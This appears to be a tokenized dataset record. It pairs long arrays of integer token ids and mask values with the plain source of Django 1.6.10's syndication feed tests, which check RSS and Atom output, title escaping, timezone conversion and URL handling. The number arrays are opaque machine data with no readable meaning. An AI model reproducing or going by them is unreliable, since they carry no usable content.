1804,
21,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
18,
12,
892,
63,
932,
11,
845,
9,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
19,
12,
892,
63,
932,
11,
713,
9,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
20,
12,
892,
63,
932,
11,
969,
9,
267,
327,
2654,
4573,
1804,
21,
26994,
2877,
3380,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
43,
9,
267,
8526,
2393,
275,
598,
59,
1222,
63,
932,
11,
709,
61,
267,
598,
14,
2168,
63,
932,
8,
1222,
63,
932,
11,
709,
9,
267,
367,
31646,
315,
8526,
2393,
26,
288,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
1196,
12,
31646,
9,
267,
8526,
2393,
18,
275,
598,
59,
1222,
63,
932,
11,
25,
61,
267,
598,
14,
2168,
63,
932,
8,
1222,
63,
932,
11,
25,
9,
267,
367,
31646,
315,
8526,
2393,
18,
26,
288,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
1085,
12,
31646,
9,
339,
598,
14,
354,
275,
283,
9846,
3343,
367,
20170,
7,
272,
372,
598,
199,
199,
32,
3536,
8,
7343,
14,
4491,
56,
14278,
9,
199,
318,
511,
63,
12080,
837,
272,
598,
275,
8484,
14,
784,
80,
63,
2355,
63,
2180,
8,
709,
12,
378,
14,
18,
12,
23667,
29,
549,
9,
272,
8484,
14,
75,
63,
4608,
8,
39,
9,
199,
199,
3,
11642,
805,
199,
318,
485,
1074,
63,
22344,
8,
39,
304,
272,
754,
275,
8484,
14,
75,
63,
4608,
8,
39,
9,
272,
367,
1022,
12,
7323,
315,
754,
14,
1744,
837,
267,
340,
1022,
665,
650,
26,
288,
1980,
267,
367,
3931,
315,
7323,
26,
288,
445,
275,
598,
14,
954,
2180,
8,
3173,
9,
288,
702,
63,
2052,
8,
7343,
14,
932,
63,
22344,
8,
35,
9,
2356,
1022,
9,
199,
199,
318,
511,
63,
14101,
83,
63,
460,
63,
70,
1508,
285,
79,
63,
2180,
837,
272,
598,
275,
17671,
83,
63,
460,
63,
70,
1508,
285,
79,
63,
2180,
342,
272,
485,
1074,
63,
22344,
8,
39,
9,
199,
199,
318,
511,
63,
2355
] |
[
1379,
367,
3930,
1351,
436,
2816,
1175,
1022,
13,
4608,
5563,
199,
504,
11354,
14,
2537,
492,
702,
63,
1452,
12,
702,
63,
2052,
12,
6534,
199,
646,
24313,
465,
8484,
199,
504,
24313,
14,
24365,
14,
22344,
14,
75,
4608,
492,
334,
272,
1900,
63,
75,
63,
1955,
63,
807,
12,
272,
485,
388,
28335,
602,
12,
199,
9,
199,
199,
309,
199,
309,
437,
14213,
9560,
21231,
3343,
199,
309,
199,
318,
17671,
83,
63,
460,
63,
70,
1508,
285,
79,
63,
2180,
837,
272,
327,
11513,
687,
1455,
921,
27290,
14,
1308,
15,
5607,
15,
1046,
1644,
14,
9111,
2114,
86,
17,
299,
14,
1479,
272,
598,
275,
8484,
14,
3916,
63,
932,
63,
3512,
63,
475,
63,
23931,
8,
267,
8484,
14,
3825,
63,
2180,
779,
21,
12,
959,
2522,
267,
1768,
63,
3215,
534,
3512,
297,
272,
776,
272,
519,
3512,
275,
8484,
14,
362,
63,
932,
63,
2987,
8,
39,
12,
283,
3512,
358,
272,
3628,
275,
469,
86,
26,
1022,
367,
1022,
12,
373,
315,
519,
3512,
14,
1744,
12737,
339,
367,
3380,
315,
3842,
3512,
7528,
16,
12,
20,
4360,
3628,
7528,
17,
12,
20,
16636,
2116,
334,
3512,
7528,
19,
12,
20,
4360,
3628,
7528,
20,
12,
20,
3948,
2189,
267,
892,
63,
932,
275,
598,
14,
1648,
342,
435,
413,
267,
327,
22912,
2464,
3343,
365,
3229,
7113,
267,
510,
275,
8484,
14,
321,
351,
2464,
63,
2180,
342,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
510,
9,
267,
327,
2654,
2877,
8207,
3382,
314,
6068,
436,
510,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
17,
12,
3380,
59,
16,
566,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
12,
3380,
59,
17,
566,
267,
327,
1804,
21,
365,
841,
13,
7113,
267,
1804,
275,
8484,
14,
4883,
63,
2180,
8,
21,
9,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
1804,
9,
267,
327,
2654,
7795,
8207,
3382,
510,
436,
1804,
21,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
18,
12,
892,
63,
932,
11,
845,
9,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
19,
12,
892,
63,
932,
11,
713,
9,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
20,
12,
892,
63,
932,
11,
969,
9,
267,
327,
2654,
4573,
1804,
21,
26994,
282,
1031,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
1804,
9,
267,
8526,
2393,
275,
598,
59,
1222,
63,
932,
11,
709,
61,
267,
598,
14,
2168,
63,
932,
8,
1222,
63,
932,
11,
709,
9,
267,
367,
31646,
315,
8526,
2393,
26,
288,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
1196,
12,
31646,
9,
267,
327,
961,
6275,
7704,
314,
3343,
330,
4677,
4636,
27,
652,
1159,
267,
327,
4346,
2952,
1804,
21,
83,
8663,
1454,
1373,
1031,
14,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
975,
12,
892,
63,
932,
11,
24,
9,
339,
367,
3380,
315,
3842,
3512,
7528,
16,
12,
378,
4360,
3628,
7528,
17,
12,
378,
16636,
2116,
334,
3512,
7528,
19,
12,
378,
4360,
3628,
7528,
20,
12,
378,
3948,
2189,
267,
892,
63,
932,
275,
598,
14,
1648,
342,
435,
413,
267,
327,
22912,
2464,
3343,
365,
3229,
7113,
267,
510,
275,
8484,
14,
321,
351,
2464,
63,
2180,
342,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
510,
9,
267,
327,
2654,
2877,
8207,
3382,
314,
6068,
436,
510,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
17,
12,
3380,
59,
16,
566,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
12,
3380,
59,
17,
566,
267,
327,
1804,
21,
365,
841,
13,
7113,
267,
1804,
275,
8484,
14,
4883,
63,
2180,
8,
21,
9,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
1804,
9,
267,
327,
2654,
7795,
8207,
3382,
510,
436,
1804,
21,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
18,
12,
892,
63,
932,
11,
845,
9,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
19,
12,
892,
63,
932,
11,
713,
9,
267,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
20,
12,
892,
63,
932,
11,
969,
9,
267,
327,
2654,
4573,
1804,
21,
26994,
2877,
3380,
267,
598,
275,
8484,
14,
31880,
63,
8888,
8,
39,
12,
43,
9,
267,
8526,
2393,
275,
598,
59,
1222,
63,
932,
11,
709,
61,
267,
598,
14,
2168,
63,
932,
8,
1222,
63,
932,
11,
709,
9,
267,
367,
31646,
315,
8526,
2393,
26,
288,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
1196,
12,
31646,
9,
267,
8526,
2393,
18,
275,
598,
59,
1222,
63,
932,
11,
25,
61,
267,
598,
14,
2168,
63,
932,
8,
1222,
63,
932,
11,
25,
9,
267,
367,
31646,
315,
8526,
2393,
18,
26,
288,
598,
14,
525,
63,
5173,
8,
1222,
63,
932,
11,
1085,
12,
31646,
9,
339,
598,
14,
354,
275,
283,
9846,
3343,
367,
20170,
7,
272,
372,
598,
199,
199,
32,
3536,
8,
7343,
14,
4491,
56,
14278,
9,
199,
318,
511,
63,
12080,
837,
272,
598,
275,
8484,
14,
784,
80,
63,
2355,
63,
2180,
8,
709,
12,
378,
14,
18,
12,
23667,
29,
549,
9,
272,
8484,
14,
75,
63,
4608,
8,
39,
9,
199,
199,
3,
11642,
805,
199,
318,
485,
1074,
63,
22344,
8,
39,
304,
272,
754,
275,
8484,
14,
75,
63,
4608,
8,
39,
9,
272,
367,
1022,
12,
7323,
315,
754,
14,
1744,
837,
267,
340,
1022,
665,
650,
26,
288,
1980,
267,
367,
3931,
315,
7323,
26,
288,
445,
275,
598,
14,
954,
2180,
8,
3173,
9,
288,
702,
63,
2052,
8,
7343,
14,
932,
63,
22344,
8,
35,
9,
2356,
1022,
9,
199,
199,
318,
511,
63,
14101,
83,
63,
460,
63,
70,
1508,
285,
79,
63,
2180,
837,
272,
598,
275,
17671,
83,
63,
460,
63,
70,
1508,
285,
79,
63,
2180,
342,
272,
485,
1074,
63,
22344,
8,
39,
9,
199,
199,
318,
511,
63,
2355,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
GitHublong/hue
|
desktop/core/ext-py/Django-1.6.10/tests/syndication/tests.py
|
49
|
15644
|
from __future__ import absolute_import, unicode_literals
from xml.dom import minidom
from django.contrib.syndication import views
from django.core.exceptions import ImproperlyConfigured
from django.test import TestCase
from django.test.utils import requires_tz_support
from django.utils import tzinfo
from django.utils.feedgenerator import rfc2822_date, rfc3339_date
from .models import Entry
class FeedTestCase(TestCase):
fixtures = ['feeddata.json']
def assertChildNodes(self, elem, expected):
actual = set([n.nodeName for n in elem.childNodes])
expected = set(expected)
self.assertEqual(actual, expected)
def assertChildNodeContent(self, elem, expected):
for k, v in expected.items():
self.assertEqual(
elem.getElementsByTagName(k)[0].firstChild.wholeText, v)
def assertCategories(self, elem, expected):
self.assertEqual(set(i.firstChild.wholeText for i in elem.childNodes if i.nodeName == 'category'), set(expected))
######################################
# Feed view
######################################
class SyndicationFeedTest(FeedTestCase):
"""
Tests for the high-level syndication feed framework.
"""
urls = 'syndication.urls'
def test_rss2_feed(self):
"""
Test the structure and content of feeds generated by Rss201rev2Feed.
"""
response = self.client.get('/syndication/rss2/')
doc = minidom.parseString(response.content)
# Making sure there's only 1 `rss` element and that the correct
# RSS version was specified.
feed_elem = doc.getElementsByTagName('rss')
self.assertEqual(len(feed_elem), 1)
feed = feed_elem[0]
self.assertEqual(feed.getAttribute('version'), '2.0')
# Making sure there's only one `channel` element w/in the
# `rss` element.
chan_elem = feed.getElementsByTagName('channel')
self.assertEqual(len(chan_elem), 1)
chan = chan_elem[0]
# Find the last build date
d = Entry.objects.latest('date').date
ltz = tzinfo.LocalTimezone(d)
last_build_date = rfc2822_date(d.replace(tzinfo=ltz))
self.assertChildNodes(chan, ['title', 'link', 'description', 'language', 'lastBuildDate', 'item', 'atom:link', 'ttl', 'copyright', 'category'])
self.assertChildNodeContent(chan, {
'title': 'My blog',
'description': 'A more thorough description of my blog.',
'link': 'http://example.com/blog/',
'language': 'en',
'lastBuildDate': last_build_date,
#'atom:link': '',
'ttl': '600',
'copyright': 'Copyright (c) 2007, Sally Smith',
})
self.assertCategories(chan, ['python', 'django'])
# Ensure the content of the channel is correct
self.assertChildNodeContent(chan, {
'title': 'My blog',
'link': 'http://example.com/blog/',
})
# Check feed_url is passed
self.assertEqual(
chan.getElementsByTagName('atom:link')[0].getAttribute('href'),
'http://example.com/syndication/rss2/'
)
# Find the pubdate of the first feed item
d = Entry.objects.get(pk=1).date
ltz = tzinfo.LocalTimezone(d)
pub_date = rfc2822_date(d.replace(tzinfo=ltz))
items = chan.getElementsByTagName('item')
self.assertEqual(len(items), Entry.objects.count())
self.assertChildNodeContent(items[0], {
'title': 'My first entry',
'description': 'Overridden description: My first entry',
'link': 'http://example.com/blog/1/',
'guid': 'http://example.com/blog/1/',
'pubDate': pub_date,
'author': 'test@example.com (Sally Smith)',
})
self.assertCategories(items[0], ['python', 'testing'])
for item in items:
self.assertChildNodes(item, ['title', 'link', 'description', 'guid', 'category', 'pubDate', 'author'])
# Assert that <guid> does not have any 'isPermaLink' attribute
self.assertIsNone(item.getElementsByTagName(
'guid')[0].attributes.get('isPermaLink'))
def test_rss2_feed_guid_permalink_false(self):
"""
Test if the 'isPermaLink' attribute of <guid> element of an item
in the RSS feed is 'false'.
"""
response = self.client.get(
'/syndication/rss2/guid_ispermalink_false/')
doc = minidom.parseString(response.content)
chan = doc.getElementsByTagName(
'rss')[0].getElementsByTagName('channel')[0]
items = chan.getElementsByTagName('item')
for item in items:
self.assertEqual(
item.getElementsByTagName('guid')[0].attributes.get(
'isPermaLink').value, "false")
def test_rss2_feed_guid_permalink_true(self):
"""
Test if the 'isPermaLink' attribute of <guid> element of an item
in the RSS feed is 'true'.
"""
response = self.client.get(
'/syndication/rss2/guid_ispermalink_true/')
doc = minidom.parseString(response.content)
chan = doc.getElementsByTagName(
'rss')[0].getElementsByTagName('channel')[0]
items = chan.getElementsByTagName('item')
for item in items:
self.assertEqual(
item.getElementsByTagName('guid')[0].attributes.get(
'isPermaLink').value, "true")
def test_rss091_feed(self):
"""
Test the structure and content of feeds generated by RssUserland091Feed.
"""
response = self.client.get('/syndication/rss091/')
doc = minidom.parseString(response.content)
# Making sure there's only 1 `rss` element and that the correct
# RSS version was specified.
feed_elem = doc.getElementsByTagName('rss')
self.assertEqual(len(feed_elem), 1)
feed = feed_elem[0]
self.assertEqual(feed.getAttribute('version'), '0.91')
# Making sure there's only one `channel` element w/in the
# `rss` element.
chan_elem = feed.getElementsByTagName('channel')
self.assertEqual(len(chan_elem), 1)
chan = chan_elem[0]
self.assertChildNodes(chan, ['title', 'link', 'description', 'language', 'lastBuildDate', 'item', 'atom:link', 'ttl', 'copyright', 'category'])
# Ensure the content of the channel is correct
self.assertChildNodeContent(chan, {
'title': 'My blog',
'link': 'http://example.com/blog/',
})
self.assertCategories(chan, ['python', 'django'])
# Check feed_url is passed
self.assertEqual(
chan.getElementsByTagName('atom:link')[0].getAttribute('href'),
'http://example.com/syndication/rss091/'
)
items = chan.getElementsByTagName('item')
self.assertEqual(len(items), Entry.objects.count())
self.assertChildNodeContent(items[0], {
'title': 'My first entry',
'description': 'Overridden description: My first entry',
'link': 'http://example.com/blog/1/',
})
for item in items:
self.assertChildNodes(item, ['title', 'link', 'description'])
self.assertCategories(item, [])
def test_atom_feed(self):
"""
Test the structure and content of feeds generated by Atom1Feed.
"""
response = self.client.get('/syndication/atom/')
feed = minidom.parseString(response.content).firstChild
self.assertEqual(feed.nodeName, 'feed')
self.assertEqual(feed.getAttribute('xmlns'), 'http://www.w3.org/2005/Atom')
self.assertChildNodes(feed, ['title', 'subtitle', 'link', 'id', 'updated', 'entry', 'rights', 'category', 'author'])
for link in feed.getElementsByTagName('link'):
if link.getAttribute('rel') == 'self':
self.assertEqual(link.getAttribute('href'), 'http://example.com/syndication/atom/')
entries = feed.getElementsByTagName('entry')
self.assertEqual(len(entries), Entry.objects.count())
for entry in entries:
self.assertChildNodes(entry, ['title', 'link', 'id', 'summary', 'category', 'updated', 'rights', 'author'])
summary = entry.getElementsByTagName('summary')[0]
self.assertEqual(summary.getAttribute('type'), 'html')
def test_custom_feed_generator(self):
response = self.client.get('/syndication/custom/')
feed = minidom.parseString(response.content).firstChild
self.assertEqual(feed.nodeName, 'feed')
self.assertEqual(feed.getAttribute('django'), 'rocks')
self.assertChildNodes(feed, ['title', 'subtitle', 'link', 'id', 'updated', 'entry', 'spam', 'rights', 'category', 'author'])
entries = feed.getElementsByTagName('entry')
self.assertEqual(len(entries), Entry.objects.count())
for entry in entries:
self.assertEqual(entry.getAttribute('bacon'), 'yum')
self.assertChildNodes(entry, ['title', 'link', 'id', 'summary', 'ministry', 'rights', 'author', 'updated', 'category'])
summary = entry.getElementsByTagName('summary')[0]
self.assertEqual(summary.getAttribute('type'), 'html')
def test_title_escaping(self):
"""
Tests that titles are escaped correctly in RSS feeds.
"""
response = self.client.get('/syndication/rss2/')
doc = minidom.parseString(response.content)
for item in doc.getElementsByTagName('item'):
link = item.getElementsByTagName('link')[0]
if link.firstChild.wholeText == 'http://example.com/blog/4/':
title = item.getElementsByTagName('title')[0]
self.assertEqual(title.firstChild.wholeText, 'A & B < C > D')
def test_naive_datetime_conversion(self):
"""
Test that datetimes are correctly converted to the local time zone.
"""
# Naive date times passed in get converted to the local time zone, so
# check the recived zone offset against the local offset.
response = self.client.get('/syndication/naive-dates/')
doc = minidom.parseString(response.content)
updated = doc.getElementsByTagName('updated')[0].firstChild.wholeText
d = Entry.objects.latest('date').date
ltz = tzinfo.LocalTimezone(d)
latest = rfc3339_date(d.replace(tzinfo=ltz))
self.assertEqual(updated, latest)
def test_aware_datetime_conversion(self):
"""
Test that datetimes with timezones don't get trodden on.
"""
response = self.client.get('/syndication/aware-dates/')
doc = minidom.parseString(response.content)
updated = doc.getElementsByTagName('updated')[0].firstChild.wholeText
self.assertEqual(updated[-6:], '+00:42')
@requires_tz_support
def test_feed_last_modified_time_naive_date(self):
"""
Tests the Last-Modified header with naive publication dates.
"""
response = self.client.get('/syndication/naive-dates/')
self.assertEqual(response['Last-Modified'], 'Thu, 03 Jan 2008 19:30:00 GMT')
def test_feed_last_modified_time(self):
"""
Tests the Last-Modified header with aware publication dates.
"""
response = self.client.get('/syndication/aware-dates/')
self.assertEqual(response['Last-Modified'], 'Thu, 03 Jan 2008 12:48:00 GMT')
# No last-modified when feed has no item_pubdate
response = self.client.get('/syndication/no_pubdate/')
self.assertFalse(response.has_header('Last-Modified'))
def test_feed_url(self):
"""
Test that the feed_url can be overridden.
"""
response = self.client.get('/syndication/feedurl/')
doc = minidom.parseString(response.content)
for link in doc.getElementsByTagName('link'):
if link.getAttribute('rel') == 'self':
self.assertEqual(link.getAttribute('href'), 'http://example.com/customfeedurl/')
def test_secure_urls(self):
"""
Test URLs are prefixed with https:// when feed is requested over HTTPS.
"""
response = self.client.get('/syndication/rss2/', **{
'wsgi.url_scheme': 'https',
})
doc = minidom.parseString(response.content)
chan = doc.getElementsByTagName('channel')[0]
self.assertEqual(
chan.getElementsByTagName('link')[0].firstChild.wholeText[0:5],
'https'
)
atom_link = chan.getElementsByTagName('atom:link')[0]
self.assertEqual(atom_link.getAttribute('href')[0:5], 'https')
for link in doc.getElementsByTagName('link'):
if link.getAttribute('rel') == 'self':
self.assertEqual(link.getAttribute('href')[0:5], 'https')
def test_item_link_error(self):
"""
Test that a ImproperlyConfigured is raised if no link could be found
for the item(s).
"""
self.assertRaises(ImproperlyConfigured,
self.client.get,
'/syndication/articles/')
def test_template_feed(self):
"""
Test that the item title and description can be overridden with
templates.
"""
response = self.client.get('/syndication/template/')
doc = minidom.parseString(response.content)
feed = doc.getElementsByTagName('rss')[0]
chan = feed.getElementsByTagName('channel')[0]
items = chan.getElementsByTagName('item')
self.assertChildNodeContent(items[0], {
'title': 'Title in your templates: My first entry',
'description': 'Description in your templates: My first entry',
'link': 'http://example.com/blog/1/',
})
def test_template_context_feed(self):
"""
Test that custom context data can be passed to templates for title
and description.
"""
response = self.client.get('/syndication/template_context/')
doc = minidom.parseString(response.content)
feed = doc.getElementsByTagName('rss')[0]
chan = feed.getElementsByTagName('channel')[0]
items = chan.getElementsByTagName('item')
self.assertChildNodeContent(items[0], {
'title': 'My first entry (foo is bar)',
'description': 'My first entry (foo is bar)',
})
def test_add_domain(self):
"""
Test add_domain() prefixes domains onto the correct URLs.
"""
self.assertEqual(
views.add_domain('example.com', '/foo/?arg=value'),
'http://example.com/foo/?arg=value'
)
self.assertEqual(
views.add_domain('example.com', '/foo/?arg=value', True),
'https://example.com/foo/?arg=value'
)
self.assertEqual(
views.add_domain('example.com', 'http://djangoproject.com/doc/'),
'http://djangoproject.com/doc/'
)
self.assertEqual(
views.add_domain('example.com', 'https://djangoproject.com/doc/'),
'https://djangoproject.com/doc/'
)
self.assertEqual(
views.add_domain('example.com', 'mailto:uhoh@djangoproject.com'),
'mailto:uhoh@djangoproject.com'
)
self.assertEqual(
views.add_domain('example.com', '//example.com/foo/?arg=value'),
'http://example.com/foo/?arg=value'
)
|
apache-2.0
|
[
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
2649,
63,
5955,
199,
199,
504,
2748,
14,
4556,
492,
19165,
199,
199,
504,
1639,
14,
2828,
14,
9466,
21171,
492,
6858,
199,
504,
1639,
14,
1018,
14,
3924,
492,
11897,
199,
504,
1639,
14,
396,
492,
7640,
199,
504,
1639,
14,
396,
14,
1208,
492,
5074,
63,
3903,
63,
4058,
199,
504,
1639,
14,
1208,
492,
10313,
199,
504,
1639,
14,
1208,
14,
3871,
4679,
492,
18158,
29736,
63,
602,
12,
18158,
29536,
63,
602,
199,
199,
504,
1275,
992,
492,
11855,
421,
199,
533,
16261,
1746,
8,
1746,
304,
272,
15188,
275,
788,
3871,
576,
14,
1001,
418,
339,
347,
702,
3493,
6300,
8,
277,
12,
6193,
12,
1420,
304,
267,
3503,
275,
663,
779,
78,
14,
13777,
367,
302,
315,
6193,
14,
10626,
566,
267,
1420,
275,
663,
8,
2062,
9,
267,
291,
14,
629,
8,
6514,
12,
1420,
9,
339,
347,
702,
3493,
1716,
2714,
8,
277,
12,
6193,
12,
1420,
304,
267,
367,
1022,
12,
373,
315,
1420,
14,
1744,
837,
288,
291,
14,
629,
8,
355,
6193,
14,
15045,
8,
75,
2788,
16,
1055,
22262,
14,
21224,
1872,
12,
373,
9,
339,
347,
702,
28731,
8,
277,
12,
6193,
12,
1420,
304,
267,
291,
14,
629,
8,
409,
8,
73,
14,
22262,
14,
21224,
1872,
367,
284,
315,
6193,
14,
10626,
340,
284,
14,
13777,
508,
283,
3710,
659,
663,
8,
2062,
430,
199,
199,
1371,
3726,
199,
3,
16261,
2455,
199,
1371,
3726,
199,
199,
533,
29988,
21171,
7658,
774,
8,
7658,
1746,
304,
272,
408,
272,
6496,
367,
314,
4721,
13,
1896,
9560,
21171,
4733,
10059,
14,
272,
408,
272,
8187,
275,
283,
9466,
21171,
14,
3603,
7,
339,
347,
511,
63,
13614,
18,
63,
3871,
8,
277,
304,
267,
408,
267,
1379,
314,
5523,
436,
1564,
402,
22295,
4046,
701,
820,
385,
1797,
4964,
18,
7658,
14,
267,
408,
267,
1177,
275,
291,
14,
1258,
14,
362,
2336,
9466,
21171,
15,
13614,
18,
6217,
267,
1382,
275,
19165,
14,
14934,
8,
1310,
14,
1317,
9,
398,
327,
32269,
3238,
2337,
1159,
1454,
413,
658,
13614,
64,
1819,
436,
626,
314,
3211,
267,
327,
30331,
1015,
1990,
2013,
14,
267,
4733,
63,
6086,
275,
1382,
14,
15045,
360,
13614,
358,
267,
291,
14,
629,
8,
552,
8,
3871,
63,
6086,
395,
413,
9,
267,
4733,
275,
4733,
63,
6086,
59,
16,
61,
267,
291,
14,
629,
8,
3871,
14,
12956,
360,
1023,
659,
283,
18,
14,
16,
358,
398,
327,
32269,
3238,
2337,
1159,
1454,
1373,
658,
2775,
64,
1819,
336,
15,
262,
314,
267,
327,
658,
13614,
64,
1819,
14,
267,
15985,
63,
6086,
275,
4733,
14,
15045,
360,
2775,
358,
267,
291,
14,
629,
8,
552,
8,
11984,
63,
6086,
395,
413,
9,
267,
15985,
275,
15985,
63,
6086,
59,
16,
61,
398,
327,
6668,
314,
2061,
1900,
1434,
267,
366,
275,
11855,
14,
1462,
14,
7410,
360,
602,
1959,
602,
267,
634,
3903,
275,
10313,
14,
5339,
28705,
8,
68,
9,
267,
2061,
63,
1506,
63,
602,
275,
18158,
29736,
63,
602,
8,
68,
14,
1814,
8,
9374,
29,
76,
3903,
430,
398,
291,
14,
479,
3493,
6300,
8,
11984,
12,
788,
1213,
297,
283,
1073,
297,
283,
1802,
297,
283,
3671,
297,
283,
2019,
3425,
2506,
297,
283,
1053,
297,
283,
4188,
26,
1073,
297,
283,
12130,
297,
283,
7307,
297,
283,
3710,
1105,
267,
291,
14,
479,
3493,
1716,
2714,
8,
11984,
12,
469,
288,
283,
1213,
356,
283,
5713,
19936,
297,
288,
283,
1802,
356,
283,
33,
1655,
294,
269,
4937,
1369,
402,
3002,
19936,
3130,
288,
283,
1073,
356,
283,
1014,
921,
2694,
14,
957,
15,
11486,
3678,
288,
283,
3671,
356,
283,
287,
297,
288,
283,
2019,
3425,
2506,
356,
2061,
63,
1506,
63,
602,
12,
288,
17384,
4188,
26,
1073,
356,
3260,
288,
283,
12130,
356,
283,
6683,
297,
288,
283,
7307,
356,
283,
7384,
334,
67,
9,
10219,
12,
428,
1183,
25924,
297,
267,
3828,
267,
291,
14,
479,
28731,
8,
11984,
12,
788,
1548,
297,
283,
1176,
1105,
398,
327,
7523,
314,
1564,
402,
314,
3623,
365,
3211,
267,
291,
14,
479,
3493,
1716,
2714,
8,
11984,
12,
469,
288,
283,
1213,
356,
283,
5713,
19936,
297,
288,
283,
1073,
356,
283,
1014,
921,
2694,
14,
957,
15,
11486,
3678,
267,
3828,
398,
327,
2670,
4733,
63,
633,
365,
3032,
267,
291,
14,
629,
8,
288,
15985,
14,
15045,
360,
4188,
26,
1073,
5832,
16,
1055,
12956,
360,
6399,
659,
288,
283,
1014,
921,
2694,
14,
957,
15,
9466,
21171,
15,
13614,
18,
4805,
267,
776,
398,
327,
6668,
314,
7974,
602,
402,
314,
1642,
4733,
1242,
267,
366,
275,
11855,
14,
1462,
14,
362,
8,
2051,
29,
17,
680,
602,
267,
634,
3903,
275,
10313,
14,
5339,
28705,
8,
68,
9,
267,
7974,
63,
602,
275,
18158,
29736,
63,
602,
8,
68,
14,
1814,
8,
9374,
29,
76,
3903,
430,
398,
2974,
275,
15985,
14,
15045,
360,
1053,
358,
267,
291,
14,
629,
8,
552,
8,
1744,
395,
11855,
14,
1462,
14,
835,
1012,
267,
291,
14,
479,
3493,
1716,
2714,
8,
1744,
59,
16,
467,
469,
288,
283,
1213,
356,
283,
5713,
1642,
2397,
297,
288,
283,
1802,
356,
283,
5674,
8639,
1369,
26,
4932,
1642,
2397,
297,
288,
283,
1073,
356,
283,
1014,
921,
2694,
14,
957,
15,
11486,
15,
17,
3678,
288,
283,
9473,
356,
283,
1014,
921,
2694,
14,
957,
15,
11486,
15,
17,
3678,
288,
283,
5645,
2506,
356,
7974,
63,
602,
12,
288,
283,
2502,
356,
283,
396,
32,
2694,
14,
957,
334,
51,
1183,
25924,
3196,
267,
3828,
267,
291,
14,
479,
28731,
8,
1744,
59,
16,
467,
788,
1548,
297,
283,
4776,
1105,
267,
367,
1242,
315,
2974,
26,
288,
291,
14,
479,
3493,
6300,
8,
1053,
12,
788,
1213,
297,
283,
1073,
297,
283,
1802,
297,
283,
9473,
297,
283,
3710,
297,
283,
5645,
2506,
297,
283,
2502,
1105,
288,
327,
10716,
626,
665,
9473,
30,
1630,
440,
1172,
1263,
283,
374,
2623,
391,
3834,
7,
2225,
288,
291,
14,
7702,
8,
1053,
14,
15045,
8,
355,
283,
9473,
5832,
16,
1055,
2987,
14,
362,
360
] |
[
636,
2443,
363,
492,
3679,
63,
646,
12,
2649,
63,
5955,
199,
199,
504,
2748,
14,
4556,
492,
19165,
199,
199,
504,
1639,
14,
2828,
14,
9466,
21171,
492,
6858,
199,
504,
1639,
14,
1018,
14,
3924,
492,
11897,
199,
504,
1639,
14,
396,
492,
7640,
199,
504,
1639,
14,
396,
14,
1208,
492,
5074,
63,
3903,
63,
4058,
199,
504,
1639,
14,
1208,
492,
10313,
199,
504,
1639,
14,
1208,
14,
3871,
4679,
492,
18158,
29736,
63,
602,
12,
18158,
29536,
63,
602,
199,
199,
504,
1275,
992,
492,
11855,
421,
199,
533,
16261,
1746,
8,
1746,
304,
272,
15188,
275,
788,
3871,
576,
14,
1001,
418,
339,
347,
702,
3493,
6300,
8,
277,
12,
6193,
12,
1420,
304,
